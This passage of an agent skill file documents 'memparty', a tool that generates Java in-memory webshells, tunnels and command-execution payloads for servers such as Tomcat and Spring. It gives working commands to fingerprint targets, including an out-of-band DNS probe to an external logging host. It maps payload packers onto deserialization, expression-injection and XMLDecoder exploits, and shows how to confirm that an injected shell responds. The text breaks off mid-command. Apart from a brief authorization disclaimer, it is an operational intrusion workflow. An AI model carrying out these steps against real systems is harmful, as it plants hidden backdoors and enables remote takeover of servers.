zOL`_~^P-?;9LK>EC=i6Pe)=+@j}eOU-8Yc?lfO&wveSdiQ?hq7rl-TWQ|MBQyZs# zMF)3_5>1%0X`V^j>Geo&hRSSWs8JMLSxXQHZJaiC#(e<`RMnWu_gBT=#S1l>O{9lH zhN{uhg!Ss1M!Ou~9FQ0x)xWIQ6^`1g#hr}8y3IZ)j#UjRH)K_R-{2ZrOM`#}6WHG1 z=Vgs&tta?gcerijF`C>^ivJ*G1ahKs2p!Zr{o!{Q&T7;yjfy6wn>Cg5c^wGFOCIrd zQG+_gfkIqdBxHIJap;`R8E2#=MbYl&5>;Ca;rlV7uhGByl^IWD<}x-ZK;KfzPiI=g-B@2rK-~`Fa#|-tqEM_c}?Uud!J{wefcf zZC2lc<632xY)rddqZ~jeQEZKJKy4HUJ}Gv(6w7IYtj9y$oLVL;6q&^g+-$Kjr4JrC z)7F{5BkpsW;U#q3HR#0k2~b-M6OW#p6x z19cV1)(s`c2U+l%C-ZPU^Sm%+?c$bXQ(eycw^v3=P&AvpwZ(Wmhn-@kAC0+k#Gxs$ zwrc_mw+DTCh4FYJQq!-aE}|dddrOH5$74dibf^uh%*JX_FP}k}M6)gb0@>8+uNh z&l+%E+FVg}bu8)42#Z^Nb0_c_iP z_r$3lhW1oV>t-AKD|iONz*b48+eeLrhSITSECj8DFUu%v5H4*K^S7pISiTrNy0#Qq zNDIH1dc%7X_+Xwm#`fSVD$Yq6d(($T#8UXLp=~b-nxZ^UONOw!f=mX#x{2ZH}(z` zr;|hE>bG%x?tqj_g%iqvw!y$VJGnxT6Pa|OTNe!$p^a&vYvXt!Nl(%CG6rg(x*-VU z3JYu0@yw^tb89`w3?@o|+1SR6>owm}dp15OQtV;A;b@?rVt?h~jt<9L5N?AuxOo)QEbL z?PbRp*DBGuYqSB=kBZDzs&kOgTe<6l)wUN z#Fu?@7%{j-wd_w~D2-v{eA0amDCF^Upcx zl!*R()uPQ9FE$BRW5BURE@7wDP~_BK-L^@zJ2{EOQECsW0F90kNho~0!E}8-BVQF1 z3qc}4V5Uu&bX=oL@L&oAM4*5SHY9F-L(k#Djy(+&P6ivVp*-*!S1BmRt1p%j+|1@{ zNtPt*SQcuKmjwR%hfwU#J+5m=FPouC<&%?CFF$p}=?$OMvEzZkIL#{xH;I(YY>%7|(KCNX~w{6s>%eSUd55M||y7^J0qr50{2I+k657UK_ zfvG|IfVVRaygv}X12X{X<}5>Rwa9h0nYi<*mfb?vnK|ftpP)0|VQ%mSVl+|pNHq!X zBRlr>qv=l_Q54raudi5>M|;oDPhicSx!(FvmwEcHb_M9KXxqA7KWd7rbf)EyR#;Lx zMd+`pGI{L*TQ$!4GD}dPgweyOo>#~z{qld}H zaD{mODFo%}8*st0OJ14-_Q=8#7f;5?d?P+>@KGM1mEK=+CbmT;X7mQ1~qx`9F_#G=f&nF@$26SBtE4%&N5`+yu z(bJal!JjF#7tGK^2=D85Zw^v^QO6;EP^y6fm&w;5vc76L`c|HUtWs_`0uGgIHU^C= zx))7}guJbHhd^?H_C`0+C)?0YG}6Ew9+fUJ=P)zRFXTCRj=NeZ1QS&~iD3ah-kI3- zk-yquwY`$8ZZXXak5GHEVeACYINKO4=I;0a2PP=_$}3H9qFct zERFOH%7hJHA0LE{rWqPTH_owOzu?vANx+F)=)PFa1M8$kd8tvox0vKic$@5#fTMal zw;@?6)2;llfLw=Ej$V;&HW_+6W^XTzuOr4^fMaAnBqj z{PLNs!fW5mxV-LZD_FWM-x3V6IBwLgMkR`$4!oPCu| zpoi0fPDWsV);in8Ce6!JK~_aY;A%ONV9ft|9rfTWY^qQD%8U$eSIT>FKnVDH0K&Y$ z9+=$DaBjCO!8+2eizTBv?~a6UAOi&*XKN~^B7d|=lKK`aeIr@wSxSd$1=&ORm(~|k zHmIkH+p*)~)&uB@-2@rgA@q>bNXrN_nbdOnlwtW73w(|T1hzv?#EK!4VqfN%<;}QQ(tr#bm!cqA-!>l_$e(UV3ANSZ-C;V9>DKtla;-DMlz za7l8~o|=iUuTi>yKyn8Zkuta2`fQl@g(?#R61}Nll#Rgn$&Ehq^G#$oQayHbcH@)c z^A0cDVsNM{4!Okw{@khDd>z$C3=Z9xzEi>dCAnR4u^cQih|;H1w=dP-Pz1#E9hO$O z&B}{|2-HB0_(VsUR2U3RLmZeWy4M>A(M*c6OQ=$kR2g~n^*`0VU;MfKe3T@;@<|VMFDe9G)7RAWkUm`kok%zSw zPLvMbxWb_w)%M5iZ+zjiAsfw;S5+3%^Ip0|d&=o?T<6_pf2zHr zyfK#QUa^)bIl`Z*&@Y$EBRB&;L=rWb^Q_Am7UIDgUU*pfv1;JsfpBHhV>H8+EIv5x4X_)-1Z#>!2@57B|$UF&6|Ql zfbRja?F<@!5lRLpZih{uakS;7oWk{NQ^)T!1~nZ}!=Dn2WxS?=E%lsJXVaUN>d>mh zREu_dO#r8@J=IGH+oa2EL|_G1=lG)*k4)ikoNdkTc6!vPkcV&QIjl~zL2Jvp$2ZT1-7?+ZW4R2 zh)>=tY0$IDOcDVt3S}zS=bRs3^S#HCF_;OBs}IKOL|#pVDn+e8C{>fE6>C>~Cq$-& zv{3a_5TDa<1d5z13g?qXvC^Q5J9Y^xYzVhBOqaz7wTZbgU9tCaM`AUtHpFyo4q*r! zO`HS@+Xo)(ev`mCCfBpo)&&{h_5B#KFIMWwRd3x!Q3SoE`-No%iJdq6De9EvI0z5g z&mZ_gkfQTV3-RqqkrP`KiflCQJ}Q8tpe-lUmN=$fr{GXRiiLjP5HqF`Av5mTlc2v9 z7b9ujxShrv+Vnxd@fSp&q8h^dL#jK5TB0;6X<+m9 zKpJ=uLtl2WZ$t09dA#@Dt61VaVt_TT7k8Yl#5|uD7bo1_dPuNO6~+Xg_Nj7mbFhxU zK~TC~H%PDr&wX%a996XCiA?CrVhzQGOs6xKRHD&@b>NznWBFA$Qj4ecRj!iG2}3Kdu{l8FjT<6=0n$F zj^}KGaq)S@Q}UrPxDBVe$GZJOGsxDOY57KEc3O9ZiHA$@en*UGbk}ROd;8 zQsdsQoIAkiKf_HLC$acoP3xAh4Zp52l~LfftPb{>tZrYdw5jY=tWb4uZ>g#lS-j%y zS8npx8z@ktoEt5~C%g7*X-Z&j_~AqDC0%Kc+yk+2>#yLfyX(j5ctDz43gO1r-Wu45 zn-z~L8<5DxMkcO_=&K;Iqp%yUfzzGs#G=8|ab)5pMZd{$9LQuTEzo{9pRGqE=28UF z0~5z68T}Cn+N!IglGwO?o*=MCE!l({g#dTJuI6UG9-1Yn0AYd3>;P0a+fYB=5Y*T{ z^#$LvZEcv{qqSnZc3b6+p?xEodV$ldI_HkhseV0yW*EGbA2)oGNLPqASXl;b6_w&q zayUjjjF-F<7VY$#r1)LOg$$V%ir?-93viWKrX|dhIJz3t`Znc1d>f{rsEV`&%W(vx zJ75~Cb~mFP<#bb=V`0mKe#qk`JTaVEoR`HYN1jw#+1E>1_0Tl}jm1J5 zpIzjgsj^wJNv#zsBWU&E^iF%43fyJ~|5n1-c@Blv+=b6@#NgYd&8ae;6CS2*3ar{m ze~FyHIdsXRCKEm6r?k~Qrp$r0Z>vr!?6wM^X1FQ4uavq=^y;FJTDrhE-f87mQrY)0 z>n@^}T}Ic(r}S~?Ivi6x8bH<7Hq)?I8Ua#!ucY=J?%pyiDaFf`C~>4reO<*e$50iI zfa@`5&ZASaa`f0I$rAQ3SUku_Sr_rNz&Yrg1i^t)TnNTb;%~v(Z#NFl%sPE*Hum7X zI3~OT=iUjj%CYae_U;b`({;sKLDF>4xvQV_^Efx!4Ng)^U2(%bF^v-(k$B4Y z96cT@ZGlt!6pyKiO+UD^zN6mU=6gAx`I@G&V&a0DT{V6)^;9@zhHIS-Tt&omvQg4! zoEWd>EluBy$pE;o2b{>RFL=x(;ftZ0r$&t&E>EYdH#Lx;JrLpP!6tB#%9dMl-;6A{ zcI02?oza!(fXifBEB1jEeGGgiRP7SFVr2l@ZG;gk!0-;VK{ zBB~L;nZnR?@>Cits`N7??cKrw=doYJn?OT| zpi2gG*)CRx>XoER*M|5jr2X)A->wCM6iU$C#0qB^)RxaFCqjn2gr^Ls-KUj?jh?J$ z%sKGE%Dx4XzYNx?r6# z7mkUU{>r0=^WzuVRIQZ9#SlyC7|-P#clA2Sma~X7En8##qBC?^9{18fnl>l&8Qg4s zCQ+H#6Z7^YRuEIy%HpF9d~_&K{@eo5a%<%iq*fw2b-8#Twg;~!%e=W2WeWx#n?Iyo zTF_*xQKtHvFyXvaOUjC@9{YS!)R2z`^eb_4ybHE#-e#~W3CyEB(eMU6y3q((;YN*2 zFAqv(goI=y3+p1aik>)stuTXqB9Jw*=1ddTY}gtR;<5r4EDq~AJ$}`(=_3t#K-p%B zTg|D-6$T++iVZ(0tLxu9{7_ReQO{?48SIcEnwC{39u#NTH2U!aX#yFCCM>Nw!R}Bp z5i}45%#cpig}2;z?3!KSs2T|hpO?YAqikUHyU6SZ=P8Z_#O1EJzkzh?+3WoLP+y}auY+A@PLlbO9H*C{*o0QwwTrXRD&iy!+JDFa}5Efh3IM( zN(?wmpDkJz%Zig5T#5SC!ul=5V}M)WPUyN+H+l2AEx17KvCnRG`~hrRaPZm z(qYEbK0bJ+i`sEoW5AG#TcQ%*h1rQug~1Sp&ACvV_@_=wOVN(RG zAw^{BXt!Ck^6?9md38vmf*}FbGZjwio9o2k4fdHZdws%^3)mcR(=bBo&4S zsMyy75{7%~S$gdYvYrlwo8gWwnRGuJx00*?D;-pFeQm#P;!N_QDV#8+8jVabRalYp z2?F5}?GWa$T3C}xs$^XTg=9~`27$fcwe&bS<(G*n(HKUT6u+KY=z8~-v#N!FuArx> zYw}JZZ`h3c#9=hjgA{x4(B#4nH!{{3rqUJ6KPOHM?8X&-VQl;?$Q5)Tplyj``+2kU z13EwMlvE0Ia}AjLaTZsj^{tAYYX_`#lx#dQ+jY`T@P;ydNUcXV*fIAqd$P|dvA9UB zEjeSS!<%bjSd>%O7X4Uarg!-bJS6F0{Gb~igBsOQ*5cp@4iO+EqGgpNY(9=JhMmZ# z!B+$L&^L~=+3W1e6%p5UniOt7+3fh0rbeA~F-yO=kyhf7mK!lz!a|oHW^VUR*3yX9 zD|=pjw&$EBfl2L)o>-J2q!6DWp>Ok||K{CxE=;2eE~PO~nC0Yo7F#CUY%QxLyec_t zEfsFnD>zBkIn{HKs|?O;R&#P^qU8GajpxaqKf-F3kaLyW-SC*{<0gN&6lQBXx8?PP zLWv$J$*PLL&~CT?w4tQ+a0P^GN8G=!ULLQd%!;X>^~f2XBw$JH*|z4!wA6kJhgE~8 zW6J=RzPeEG+#I^#bewfL<;ZE#i=Zu%?4cA#2$VXUl1B+P54TC*7Oe1SvOUn%l7JB( z?RdCp%@LhsrMp5l~uxCll@>$+5 z@K+m@M@U^?Auq4ve-XA63%ce-KsPDlRkxWIHZC%utq~p`pKF2>goZzRp9385mhi4r z;CzLBIB}rYLb_F( zOkuMxh#qv2LjzM9xYP~0Km}^+LFx0G{+TY7AsKK(D`qGr1xnI)kOkf<8>>3*Xo6K@ zFpFlp8nzRe>CV~m*Fywc7WRxG17A!go5P-UmD0{)!PB#jpMh!9HH@h}Liv;d`M}Ad zlyHAS(~>QFg710Zsqg0ej8?ksSJL-IWXYo*ZeEW<`Q#xNEre)3@4u0OWUsH@bm3{) zmgm4e19EqC*I`y(f1>f^`WWHZcbli?m~IB{6tohEd@^TMg0K4FUBw<=_<`pDyw*Ye zPKT9E>3MP+tCWleGIup{x7FqfE;U?op8`s3tT2Xgt`nAx!s2 zjSj9M@1|-S3YoD+UX}@B#bDEOAh{cOXzZAi=3}bb>?Up|MEIpFoRoPH%DkUh2qfy0 zAh41Q<>%sRidV@c(0sMVw4uu}E+@yyzM?9tRzW>-qeN{wlaRIWNSw0Zt5QSx_MxKJ z=;EyfbGB<(HC9U@et6IdiQero>Mb3VrIX}H1wKvDvCi96T64iXg&s|8H1WVft=y~R z2Q)n;-nDdw@VM@a>&J%lG-$IzWHYYFS*OoMUd@g@E+Q~jtI#%%P@aG5+*;N&EF=aQlFGR$DnzovhO_` zZs0NntYpzD2kUVi{3obp?Bc4X_a5?<=8PMqu38*kcm3pH$Qw+wRO3GQB4$P?2;D zr?DdDb@_PHtv<1`Ty8;LJnMbUwQCrKDLD41p`L^Fi{Zm5(`y(~m77P?l_K4ajhE8*ggH8xD^LJBT zaLr-aGJM$cWnrIOZE5r8NhYPZ9C}K)RXkaB?9GI;k-eH)SrjTaw4vSX@i6#ZM->|< z<8NxpWN6*HpN!7p@~0*w(_>}J&%q2PXjZB7~9}qu#S3&O*5}=|z(UhRLsl(X_ z?_7HYT_#pH+nZI=qfJxZ)++c|rBEWTLtn1^`3`x2WQ_P1=9X<33x$a1g@K}Q4c&F8 zD(p?Hb+?)w_AkR$5~bTyH0%$_7fgqEy&8oXYH#p@(j-tEuE4%%VBO@F3@&{w_i21j z%tOxq*^f~B!{u9&$zde2*BR&$9(86#Z}gZZtXsZVcs~(VVt1KTb_+aXM_hKY+;-m8t#Hg$`-0E@=j+W&kt0obAHyCCtVpnl)tWbv5M$V74Ia9fca>6qewqdIk%Em z4u*@53x@{Pe7XgXGZBK`%22y$|48iip_gT^@hm!9ek7{kr%9~Rgy0pZAh!8J(59s*%L4O=<$YCe#m$p7gdDq}F=Ts_$g!8oaW>-bgZQgXr7oV1Z-L;J$Gi83 zwmnbiDEB-?o*3^;kRT)vS;8!wUY)-+PgtG5cE0}d!9lHiBj|MR_3Nh%f%_A;e<%M10v!Tx zQv)wh|6LG)pZfN5uwCHDS!uokQWo2*Sj7OK`W6NQl2O6yw$Y=``Wv2fa&9( zZiB(35%W?xp=Eo|ZGl%LCQ6j$RqJ+ZE6?uj+*k7o^k=gNw${X7uwQ3RRZG`+KjUl? zFvZ+7aB?`a2|ySf^={^`$WJ}e4^cc}kiClN)}_(g zplF{hUNo$a^pMP)JdRsCeEd3kIC9`&-whK-$ClfN5M0ozmoSADsW@=QaRE+J!lGoo z19VU*X1(pisD}b^oiU0Gi9WQ|y-tD<7~9roPeYYlnV=x-snXyn(Ke}9iA2#L`F*WGEejGwEuC0IIUwFYJR*aPU8hp2$zM6Q zB2P2|L#{4LQYvq+o{Y_p>qegS@ZG|mEs_z49|P~a-o~jC#93E}EPwi%xK0XbGZmUk zTbhjpR9{8R|NcCfO#n2FBs6v4QyHO(+ zU;2j#Zhlz_z6jJWjD;MB(S`GtFh10xL?eXJNY-W3r9!|{TJMAxW7FbHO;Gd#Y+H|r@!;X#Rf*VzZY$rIbRSF$~^P##Inc0zZ zMuAwwZ3|B&$V^Br6dufxj>uxMrv0;>&Wd~u_fzi~^VdCk+|Wy2-W9dzK7p|4gFXRo zwg+TE&U_$rV!FGcW7h=jLRrkA~D=6No;T+j^UT`K3n!hIHx(EeH&fpB}WLyb!$Yv7!*}8+;zbt2OzN z1;!*>RSxMg_SYpg1|$}{v?baNd~#b9w*t1}NC6;el7T&+)Kpn)#c|A@R?GJ4EugQs zMX)(!pW(FtRmS6;CM@pt1`YM)MK^R-4QEPR4X-=R+$ zIyZ=_(rt9es0V2ry7nT@FMbP!)<7Q)cAlSK$WVEL3KQ`PW&ZRbQK~syQuu|BG4;^H z2yR^i#e&n|5+?LGQy()HAGbrR5sWXTcI1WBW^4ndi}Oaa$~d+!*)s$}i0fm0FZKl4 z?2y9VL5eU1&1+MncQ9#kQf;_}7(G_w4|lZFq8*Po$6G6OZi22zhJqT5i{J3eg}s{W z#GxBo^Bv%LF-y(JXtC0sh(sYnqJ8?nbe1!;!$F2ohb77!T8*-3gbJJCkg_R&izY0i z(_y1ZFT#wLIRqPPRPE#O)a-}&XXqk_2pJc)8xMOIz}_&czZg^Bh4eChh9n%0@nw6A zCP7#DLErltkwoV&G^y)G^&B8 z%rbN04Wg*BmADJ_G}#DRww^(bS8B#ugDLkk_@!j#L8zW?oL3=f>~F{L*DOWv8F0-u zW~<7o`z4+Rs{_EAIV4v&*0<6jSRDp zGogO4Rbtdba#k&&Jihhu132ZlBty{#jIN^~hQBHZjz^STE~bL&G!<#u>qnw>DeQ1Nc@A4{)bpR*4}woy~zHNiLT zt+21ncV{d>$e52wv+)H*(2!{{1`wjum@J_;<&LN)Q| z*a$SaX?XYJ$Z3rzqh*4%ZM~Z26A=AZc}@wY@Gy&=W}X61kA(HCrogD|*hqyQB)>@k zg)=^@ep+TwbPL*|vbzCu!mw(JQrN8k@h)!Z0Eu8b1#+rxp?Q} zoReE1vtSF-J}Tz+IU2E2zelczI03B*Z-+3iKcVfm?R6)L4 zhE=(~_Xl>kl>C`!X|OezxzMP82h!ISFcBbWj|Q!>;$#@9W^k z??Q@H;sq%nb13Fn&_!;LjPyjAJnF7GP4i}MT09_3Be3aE;|4{53(6P=e#3%1ZpowzYl-!*x%b)DORh8b$%k|4G zcZ3x=clcD+u(KufBye}o5q1R*BFSWBQ80rT&QWs`(klo&A=urrbH~-vrKLE>5_3|f zj`Jh{hPaFO%l@`rgLk91YFql39bK23n`6Rb)>-M(EyePIkatTx?!+wE0(eKhIDPvlUbB}vpFRGKuh~6MmgpOb34SX z?9?Z%k$$o}>GkX|+^x7*&XFv6<{#HjQk*&}TRG zO1$Z=!JT*Y>S60Lisi2vQqa|nmfBbdXdDA}Dz>VSWAabYC;p z!o7GKsor0pZFRm@s2%NKTuFc>>0^%9h^MLLGpLeRTE3V1$mxZ7y(%av>$=_E@;z7J zQd;plYy~PNw<_V{GDIi)pE%BsKtx?~gaV8w1vB%A6?ONEeRb2VD54!5GJCkjl4LUd zsk@6>OqP?(EWJ-**r7f#!Fsst%F#R>zV)J2UB;d_1wYrK3VX*$Nc2p#roL78%f|x7 z>`Kxg{-(5cE)kYyM*=0R;eENbSNjj16k*wyV^}w93p4cMCW-ZA2GikeXzQ)*2!}Wr zpbnhS?@?ZiB8y)Hcb{>e3r^J!mqNQ(7>-%YocdB!1n$-epW8?BZdc~ZVrE~j4iv1n z=kHbIOO`s6G}N7@;r0kDx0`nIsVN&Gw&-8o>gbRk?(A*6$JlY$pbewFEfu+D1YyyY z9Io&fS#%HzfGroi7k z7!0%Tvu@gR+U^gxS~V~lnc%#zIpjD)L5DqGJvW&Hu1rxS=PflVM+l{-(DP#iN9^bq zHv}acZQ~W-5ld4k!FwFy%F*MPo_~6^`jH#w^$J=`h5h3(WwU_(#+G3%M3f6Z9I6IG zR&k4r+_b*w32en)=uk{V|I*tZQUq}MyX%_*8!JcP!~6fY!LoC(1ww;6nHxJQyU347 z(@W7w$|_0}sT|7ENsp{6Aq-Hd+R;%dJz`dU#8S=7TE)z)3~dLa2&9x{`A8#8Pcu3^ zR?Rx|`0e8rDaJuY`a_w@5h*(9l5tu&dYU0g`c)}9ngJPU83w_`aap?l4`4vh08lWr z2e5#&KW|oH{`0?ge<6YF3Eo}*-hY0-4I1R`%hnx}o`ZLxPwIf!9Cu$Y{#J5)?;>^l zeVeSHoTQkjvI>K&*mnX5$lVu|zuj?n1>%qWx7=0C4MZ{c&)yc;&wdy7uGVkAb$0~< zTK>1(-J|>WJ>NIhzrPpz+pYg;XxLBp>f6}ZI_ckKDZMAck7D1)bpC`fGIlg{Ft>BE zb-0K5u_dVYq`CMBW9H;!_Yc5d9e`jEr;iDAz!LDG{Tl!RlH*GQL~s2|ecx2^kLCbR zW{j+i9aY@zj2-`qUh!SWe}U-|D*N*Q=p}%mzXuKl`ug`^Ku93ajiZx;zPXLluhEoN zF3t4-niBv$zK8Y%M!+A@vc^tkwnqO}0fcJwXI-EIJwS&H_bTuQV)g&F0$FD(Cv!V} z2d95V>iMT$?mFJ}dQsCC5S$*clDp6#-%5@z17JxV6?AmB zF$B!!E*bgHv^%YeFDN zbKc{hll_^m@Yk}yUEIOe+3w$}As2BhcL7`o%1@qYl;RK7{K+%L!WxsO0}{UlK6mHP z-%5^e5MUYihrmBHqoQwWWp40q^5y_fw5E0{0UG9AIevU2=T+9{rjl zYz9nrzZPoz(*oWxfVgvkM1Q01gkoX(4eUQ->esXy2?($VBr3$iT_N# zNG9TLqi_AYd7+04MO*^lIssh*jF-Plj;{_dN&g%BXL;|8o-MAy>k#N(6SyC{cpG>a zai1w}Y-8+TZunc5bjRyvFs^U{rf@T0rn=uXI9xyS{AEArm2g)8`kw15CS#jyoQ zfF1r_a(st`ehHHR);50>4}3J`+zxQU`GAP`XAWGYeTOzgjw+jBa5DCaWWpM$ZRe)~pua=~2{|)>Hg^*QRXH*07 zLICLdt{KYy->{NKf7Zpvjm@^Z9Ba@3`@VTXI{X{^&t%x#V~JdVJPUm8YZ=nsfFSet1lk!!-)njVF0}=v$ z()9aUl%Ges}TPXvUVq@ya@cnq@pH_0mHD#~(bOJ1JC4mRz_qVyb0sqR?1vbyW zN4rDL@pj*>oqs~phW$I*#NiKUF_EfgT!1!~f$8hM)Lha3j<(SM4f@Wooo#B0$pDv8 z4E5uPc$4@`w4AMwt&zLDGw?!-6QFP7-|c?%(+ez>0CiwL{40#>_Ypyt`Umj0q$EEN zv%BuwG?Q0M0-)3Y^!|dNEAyAo->r7vLgkO}|IuO{USad21IPowyWHRO%K{V9{Wax3k-C4hs4xB!=ClA6 z1rYQ;wV>sX)ZZG@UGvHMRpJ%_-68_Iz3;WKJAb79aQgH|wU%>UqP_s61qX)x{jCmf z&yU>SjrcqH@@z>QOA2~`uwA-qV#duXfU*aC?&}a^_-C4_ z`Q7Ne8}5JJm*njRi`~gr4e0T{j0hutqW;=pBt##II|3w1phw8>wb*y`XPUjUv7^)X zz2~oyYT$249smN~okRiWEq|9BU-pR~k-yzO-06>qtDkolxV;1b5&w<3GZx3m-+=x) zfcROiJHuu&hgp~dFirsOzG1(f`aRAG*vc9^+?`~Z>sy(7{OXYGPF7nEA6aE!1mdFn zIKOuRhXwbo@V|}zn-O##Mf$P$rEBM2bvZIUq@!c954glZx9!&554E?>Z zcYQa>N$gSwFl~O?GCf-P4fls&(f`!%9Wh<#6DkDIbXb6Rf4ZYu`wdaj=3mweCBv+a zZ-EhZ4*0nHDz*Rc8|I%EA$NkRzv4j>0h%5F2z%cqLbrbd{ohYe#Q3Jc?{WbU{WJ)0 z0ki()82%^xXDhywm@`E992-#UG1QNS<^}lK-$4K4w|>q0G41`g!J6Ycd-!MG|6*uA zW=sE0zd8ON>3<%(Kc*f3UIE6*pDXx-q5YV{`a6{1?9b5O3w!4ke#{R2or`z=XYOy0 zJnn|XkNFwDV~=isi~Z9f&5zjuzXQ8LL4P;K{sR6{&>xdZedlgK{f7JPY1SW?KR+hj z_|C;g{F(ck6dXVLupiS*e24lV{RaAT(usdU??%9ni3GkwKcoBv{dHP_ACW%>`2UV9 zL;Vr?`*8n1Qh$t^{+(Km@gwyYG1UKwyBnfEh8_QoYXzQG|NUOTKZ1~dC;a?E0d zZ$SdNy@eC~2jSa`_un7#|M;H%_nq9`%^W}9{2w3sj~DTOkNQ4i+@T!*4RsIv-xu@0 z!GHZ~{ ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or +> do not have explicit written permission to test. You are responsible for how these payloads are used. + +## How to talk to the tool + +Two equivalent interfaces — pick whichever is available: + +- **CLI**: `memparty [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`). +- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`, + `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`, + `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`, + `target_note`, `target_list`, `target_remove`, `log_list`. + +The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags +(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`). + +## Step 0 — Discover, don't guess + +The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never +hard-code a server/packer name from memory.** Always enumerate first: + +```bash +memparty config servers # every server + its shell types +memparty config tools Tomcat # one server's tools + types +memparty config packers # packer parent/child tree +memparty config command # Command-tool encryptors & implementation classes +``` + +Add `--json` for machine-readable output. Use the exact strings these return. + +Sanity-check backend reachability first with `memparty version` (prints the CLI and backend +versions; over MCP: `server_version`). + +## Step 1 — Pick the four core options + +Every memory shell needs **server → shell tool → shell type → packer**. + +### server +The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`, +`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers` +to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`. + +### shell tool (what the memshell does once injected) +| Tool | Use when | +|------|----------| +| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) | +| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) | +| `AntSword` | AntSword ("蚁剑") webshell (pass) | +| `Command` | Single command execution / RCE (param name + encryptor) | +| `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 | +| `NeoreGeorg` | NeoreGeorg tunneling shell | +| `Proxy` | Generic proxy (often WebSocket-based) | +| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) | + +### shell type (where it hooks into the server) +`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and +`Agent*` variants. Rules of thumb: +- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3). + Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2). +- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes). +- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer + filters). `Proxy` tool commonly pairs with `WebSocket` types. +- Not every tool supports every type — `memparty config tools ` shows the legal combinations. + +### packer (how to deliver/instantiate the payload) +The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario: + +| Scenario / vuln | Packer family (leaf names) | +|-----------------|----------------------------| +| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` | +| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … | +| `Class.forName` / `defineClass` via big int | `BigInteger` | +| BCEL-encoded classloading | `BCEL` | +| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` | +| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` | +| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` | +| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) | +| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) | +| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` | +| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` | +| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` | +| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` | +| XXL-JOB endpoint | `XxlJob` | + +> **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`, +> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once +> (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run +> `memparty config packers` to see the parent→child tree. + +## Step 2 — Probe (fingerprint first when unsure) + +If you don't know the target middleware, generate a **probe** to detect it before committing to a +memshell. Probes have a strict method × content matrix — only these combos work: + +| Method (`-m`) | Supported contents (`-c`) | Extra flags | +|---------------|---------------------------|-------------| +| `DNSLog` | `Server`, `JDK` | `--host ` | +| `Sleep` | `Server` only | `--sleep-server --seconds N` | +| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server --req-param-name

` (Command also takes `--command-template`) | + +> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them. + +```bash +# Blind: does the target resolve our DNS? Which server is it? +memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn + +# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server) +memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5 + +# OOB-visible: run a command and echo it into the HTTP response body +memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p +``` + +The detected server name from a probe is exactly the `server` value to use for `memparty gen`. + +## Step 3 — Generate + +```bash +memparty gen -s -t -y -p [tool-specific flags] [--jdk ] +``` + +Common tool-specific flags: +- Godzilla: `--godzilla-pass`, `--godzilla-key` +- Behinder: `--behinder-pass` +- AntSword: `--antsword-pass` +- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template` +- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks) +- Custom: `--shell-class-file path.class` (or `--shell-class-base64`) +- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize` + +Output: +- payload → **stdout** by default. +- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary. +- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling. + +## Step 4 — Verify the shell is alive + +Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells +you whether it works (exit 0/1): + +```bash +memparty connect -u -t godzilla --pass --key # defaults pass/key +memparty connect -u -t behinder --pass # default rebeyond +memparty connect -u -t 